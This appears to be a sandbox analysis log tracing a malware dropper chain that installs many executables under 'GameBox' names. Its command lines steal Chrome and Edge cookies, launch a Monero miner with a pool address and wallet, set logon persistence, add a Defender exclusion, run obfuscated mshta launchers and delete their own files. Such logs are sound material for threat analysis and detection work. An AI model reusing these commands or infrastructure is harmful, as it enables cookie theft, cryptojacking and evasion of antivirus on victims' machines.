C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4768 -s 15204⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Documents\UYrkctL2OQTKGwhtF04YGAOe.exe"C:\Users\Admin\Documents\UYrkctL2OQTKGwhtF04YGAOe.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\kXeyg8P_Y4lYzOSnJKBRTXzH.exe"C:\Users\Admin\Documents\kXeyg8P_Y4lYzOSnJKBRTXzH.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\HkRtqjAALeZZsV5jIKhG3Ubr.exe"C:\Users\Admin\Documents\HkRtqjAALeZZsV5jIKhG3Ubr.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-2DF2U.tmp\HkRtqjAALeZZsV5jIKhG3Ubr.tmp"C:\Users\Admin\AppData\Local\Temp\is-2DF2U.tmp\HkRtqjAALeZZsV5jIKhG3Ubr.tmp" /SL5="$30234,138429,56832,C:\Users\Admin\Documents\HkRtqjAALeZZsV5jIKhG3Ubr.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-BUSTG.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-BUSTG.tmp\Setup.exe" /Verysilent4⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im runvd.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im runvd.exe /f7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-R7N5E.tmp\WEATHER Manager.tmp"C:\Users\Admin\AppData\Local\Temp\is-R7N5E.tmp\WEATHER Manager.tmp" /SL5="$103D8,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent6⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-2E1FF.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-2E1FF.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=7157⤵
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-2E1FF.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-2E1FF.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629480191 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"8⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet5⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629480191 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-DKUQ0.tmp\Inlog.tmp"C:\Users\Admin\AppData\Local\Temp\is-DKUQ0.tmp\Inlog.tmp" /SL5="$103D2,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent6⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-IG5JF.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-IG5JF.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7217⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FSUHV.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-FSUHV.tmp\Setup.tmp" /SL5="$105EE,17367683,721408,C:\Users\Admin\AppData\Local\Temp\is-IG5JF.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7218⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-SC8Q0.tmp\{app}\microsoft.cab -F:* %ProgramData%9⤵
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-SC8Q0.tmp\{app}\microsoft.cab -F:* C:\ProgramData10⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f9⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f10⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^¶m=7219⤵
- Checks computer location settings
-
C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SC8Q0.tmp\{app}\vdi_compiler.exe"C:\Users\Admin\AppData\Local\Temp\is-SC8Q0.tmp\{app}\vdi_compiler"9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-SC8Q0.tmp\{app}\vdi_compiler.exe"10⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 411⤵
- Drops file in Windows directory
- Runs ping.exe
-
C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-UEMM7.tmp\Stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-UEMM7.tmp\Stats.tmp" /SL5="$103C6,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent6⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-TF9U8.tmp\builder.exe"C:\Users\Admin\AppData\Local\Temp\is-TF9U8.tmp\builder.exe" -algo'' -pool'stratum+tcp://xmr-asia1.nanopool.org:14444' -wallet'42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s' -load'50' -idleload'50' -loggerSa'2no.co' -loggerS'1C6Ua7' -loggerRa'iplogger.org' -loggerR'1cmAy7' -loggerWa'2no.co' -loggerW'' -ico'' -glue'' -error'' -worker'' -icrypt'' -sremoval'' -ntask'SystemCheck' -ptask'System\' -atask'Microsoft_Corporation' -dtask'Starts_a_system_diagnostics_application_to_scan_for_errors_and_performance_problems.' -pinstall'Roaming\Microsoft\Windows\' -ninstall'Helper' -sinstall'-SystemCheck'7⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-NSFCK.tmp\VPN.tmp"C:\Users\Admin\AppData\Local\Temp\is-NSFCK.tmp\VPN.tmp" /SL5="$103E4,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent6⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-IG5JG.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-IG5JG.tmp\Setup.exe" /silent /subid=7207⤵
-
C:\Users\Admin\AppData\Local\Temp\is-HSNBC.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-HSNBC.tmp\Setup.tmp" /SL5="$302BE,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-IG5JG.tmp\Setup.exe" /silent /subid=7208⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "9⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090110⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "9⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090110⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall9⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install9⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EQSAE.tmp\MediaBurner2.tmp"C:\Users\Admin\AppData\Local\Temp\is-EQSAE.tmp\MediaBurner2.tmp" /SL5="$C005E,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"6⤵
- Loads dropped DLL
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"5⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"5⤵
- Checks computer location settings
-
C:\Users\Admin\Documents\aUfLmom0BKaVeeyivPlm65hL.exe"C:\Users\Admin\Documents\aUfLmom0BKaVeeyivPlm65hL.exe"6⤵
-
C:\Users\Admin\Documents\aUfLmom0BKaVeeyivPlm65hL.exe"C:\Users\Admin\Documents\aUfLmom0BKaVeeyivPlm65hL.exe"7⤵
- Modifies data under HKEY_USERS
-
C:\Users\Admin\Documents\3zbtCIqjlR2JyAQgAiR9Bfp3.exe"C:\Users\Admin\Documents\3zbtCIqjlR2JyAQgAiR9Bfp3.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\3zbtCIqjlR2JyAQgAiR9Bfp3.exe"C:\Users\Admin\Documents\3zbtCIqjlR2JyAQgAiR9Bfp3.exe"7⤵
-
C:\Users\Admin\Documents\3zbtCIqjlR2JyAQgAiR9Bfp3.exe"C:\Users\Admin\Documents\3zbtCIqjlR2JyAQgAiR9Bfp3.exe"7⤵
-
C:\Users\Admin\Documents\0KNlz2b56McaeFMI9qgdjsNm.exe"C:\Users\Admin\Documents\0KNlz2b56McaeFMI9qgdjsNm.exe"6⤵
-
C:\Users\Admin\Documents\0KNlz2b56McaeFMI9qgdjsNm.exe"C:\Users\Admin\Documents\0KNlz2b56McaeFMI9qgdjsNm.exe" -q7⤵
-
C:\Users\Admin\Documents\uwz6ZUHSCyxltV2IgG5A08cq.exe"C:\Users\Admin\Documents\uwz6ZUHSCyxltV2IgG5A08cq.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\sTQ4wwD4xnoOY9cBpfJye4ev.exe"C:\Users\Admin\Documents\sTQ4wwD4xnoOY9cBpfJye4ev.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\sTQ4wwD4xnoOY9cBpfJye4ev.exe"C:\Users\Admin\Documents\sTQ4wwD4xnoOY9cBpfJye4ev.exe"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Users\Admin\Documents\sTQ4wwD4xnoOY9cBpfJye4ev.exe"C:\Users\Admin\Documents\sTQ4wwD4xnoOY9cBpfJye4ev.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\e1W05Eh1K4Hnv6J57kp48dKP.exe"C:\Users\Admin\Documents\e1W05Eh1K4Hnv6J57kp48dKP.exe"6⤵
-
C:\Users\Admin\Documents\fBw0zsDv7ZMhhLbl3s7mh922.exe"C:\Users\Admin\Documents\fBw0zsDv7ZMhhLbl3s7mh922.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\fBw0zsDv7ZMhhLbl3s7mh922.exeC:\Users\Admin\Documents\fBw0zsDv7ZMhhLbl3s7mh922.exe7⤵
- Loads dropped DLL
-
C:\Users\Admin\Documents\z_2AVIJubAUUzMFS5oc3DeGV.exe"C:\Users\Admin\Documents\z_2AVIJubAUUzMFS5oc3DeGV.exe"6⤵
-
C:\Users\Admin\Documents\OYcYTRbEyCqWPj6MVb0o7XTq.exe"C:\Users\Admin\Documents\OYcYTRbEyCqWPj6MVb0o7XTq.exe"6⤵
-
C:\Users\Admin\Documents\erHF7ALEexVo6HS5mSuw0Zii.exe"C:\Users\Admin\Documents\erHF7ALEexVo6HS5mSuw0Zii.exe"6⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im erHF7ALEexVo6HS5mSuw0Zii.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\erHF7ALEexVo6HS5mSuw0Zii.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im erHF7ALEexVo6HS5mSuw0Zii.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\_H5MoL5VSBNEH9NRXvWm65wi.exe"C:\Users\Admin\Documents\_H5MoL5VSBNEH9NRXvWm65wi.exe"6⤵
-
C:\Users\Admin\Documents\zbwzoQimdRROGEo9mHvPf4j1.exe"C:\Users\Admin\Documents\zbwzoQimdRROGEo9mHvPf4j1.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\d_FGJR2mNZ7Gzs_rWqOrV9eY.exe"C:\Users\Admin\Documents\d_FGJR2mNZ7Gzs_rWqOrV9eY.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\d_FGJR2mNZ7Gzs_rWqOrV9eY.exeC:\Users\Admin\Documents\d_FGJR2mNZ7Gzs_rWqOrV9eY.exe7⤵
-
C:\Users\Admin\Documents\AVsCia6vuCCkGyt2pmnbB5Wp.exe"C:\Users\Admin\Documents\AVsCia6vuCCkGyt2pmnbB5Wp.exe"6⤵
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\Lr8Ni0DGMaNFYRoTpBOKn5BE.exe"C:\Users\Admin\Documents\Lr8Ni0DGMaNFYRoTpBOKn5BE.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\1722640.exe"C:\Users\Admin\AppData\Roaming\1722640.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\6494648.exe"C:\Users\Admin\AppData\Roaming\6494648.exe"7⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\1783798.exe"C:\Users\Admin\AppData\Roaming\1783798.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\1059741.exe"C:\Users\Admin\AppData\Roaming\1059741.exe"7⤵
-
C:\Users\Admin\Documents\V4u5j96Bd6n84PYzIUN4DUY2.exe"C:\Users\Admin\Documents\V4u5j96Bd6n84PYzIUN4DUY2.exe"6⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im V4u5j96Bd6n84PYzIUN4DUY2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\V4u5j96Bd6n84PYzIUN4DUY2.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im V4u5j96Bd6n84PYzIUN4DUY2.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\SZc7fXwttJeRSQADolGmkBM5.exe"C:\Users\Admin\Documents\SZc7fXwttJeRSQADolGmkBM5.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\SjM4hdQvifikxNBUavWDMev0.exe"C:\Users\Admin\Documents\SjM4hdQvifikxNBUavWDMev0.exe"6⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im SjM4hdQvifikxNBUavWDMev0.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\SjM4hdQvifikxNBUavWDMev0.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im SjM4hdQvifikxNBUavWDMev0.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\K5VKeIvX3UicT2rPEMclHW7I.exe"C:\Users\Admin\Documents\K5VKeIvX3UicT2rPEMclHW7I.exe"6⤵
-
C:\Users\Admin\Documents\K5VKeIvX3UicT2rPEMclHW7I.exe"C:\Users\Admin\Documents\K5VKeIvX3UicT2rPEMclHW7I.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\go9cH48Bb4zuYtKyPiBOlZX1.exe"C:\Users\Admin\Documents\go9cH48Bb4zuYtKyPiBOlZX1.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\8jVZjx94rX4DQna6ClRphpcG.exe"C:\Users\Admin\Documents\8jVZjx94rX4DQna6ClRphpcG.exe"6⤵
-
C:\Users\Admin\Documents\KsworbZeTIo24cyeT1ofJWo_.exe"C:\Users\Admin\Documents\KsworbZeTIo24cyeT1ofJWo_.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\fWSyIjb_JS9AbeaRKXGkxbjo.exe"C:\Users\Admin\Documents\fWSyIjb_JS9AbeaRKXGkxbjo.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\fWSyIjb_JS9AbeaRKXGkxbjo.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\fWSyIjb_JS9AbeaRKXGkxbjo.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\fWSyIjb_JS9AbeaRKXGkxbjo.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\fWSyIjb_JS9AbeaRKXGkxbjo.exe" ) do taskkill -f -iM "%~NxA"8⤵
-
C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXEhbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"11⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a10⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "fWSyIjb_JS9AbeaRKXGkxbjo.exe"9⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\xVcNLvnrLIkRvwMXAD_eWBuT.exe"C:\Users\Admin\Documents\xVcNLvnrLIkRvwMXAD_eWBuT.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\xVcNLvnrLIkRvwMXAD_eWBuT.exeC:\Users\Admin\Documents\xVcNLvnrLIkRvwMXAD_eWBuT.exe7⤵
-
C:\Users\Admin\Documents\jG72pLCo9Q4e_hdnWIv1fBC5.exe"C:\Users\Admin\Documents\jG72pLCo9Q4e_hdnWIv1fBC5.exe"6⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\JG72PL~1.DLL,s C:\Users\Admin\DOCUME~1\JG72PL~1.EXE7⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\JG72PL~1.DLL,JQIjUUw=8⤵
- Checks processor information in registry
- Modifies system certificate store
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\JG72PL~1.DLL9⤵
-
C:\Users\Admin\Documents\ZXJt7COrpeDGOeQ0b8euboOM.exe"C:\Users\Admin\Documents\ZXJt7COrpeDGOeQ0b8euboOM.exe"6⤵
-
C:\Users\Admin\Documents\ZXJt7COrpeDGOeQ0b8euboOM.exe"C:\Users\Admin\Documents\ZXJt7COrpeDGOeQ0b8euboOM.exe"7⤵
-
C:\Users\Admin\Documents\MoKLaz0woWj79HL5Op0XYhse.exe"C:\Users\Admin\Documents\MoKLaz0woWj79HL5Op0XYhse.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-16GBF.tmp\MoKLaz0woWj79HL5Op0XYhse.tmp"C:\Users\Admin\AppData\Local\Temp\is-16GBF.tmp\MoKLaz0woWj79HL5Op0XYhse.tmp" /SL5="$40450,138429,56832,C:\Users\Admin\Documents\MoKLaz0woWj79HL5Op0XYhse.exe"7⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-AFQDT.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-AFQDT.tmp\Setup.exe" /Verysilent8⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"9⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629480191 /qn CAMPAIGN=""710"" " CAMPAIGN="710"10⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp68E3_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp68E3_tmp.exe"6⤵
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"7⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comEsplorarne.exe.com i9⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
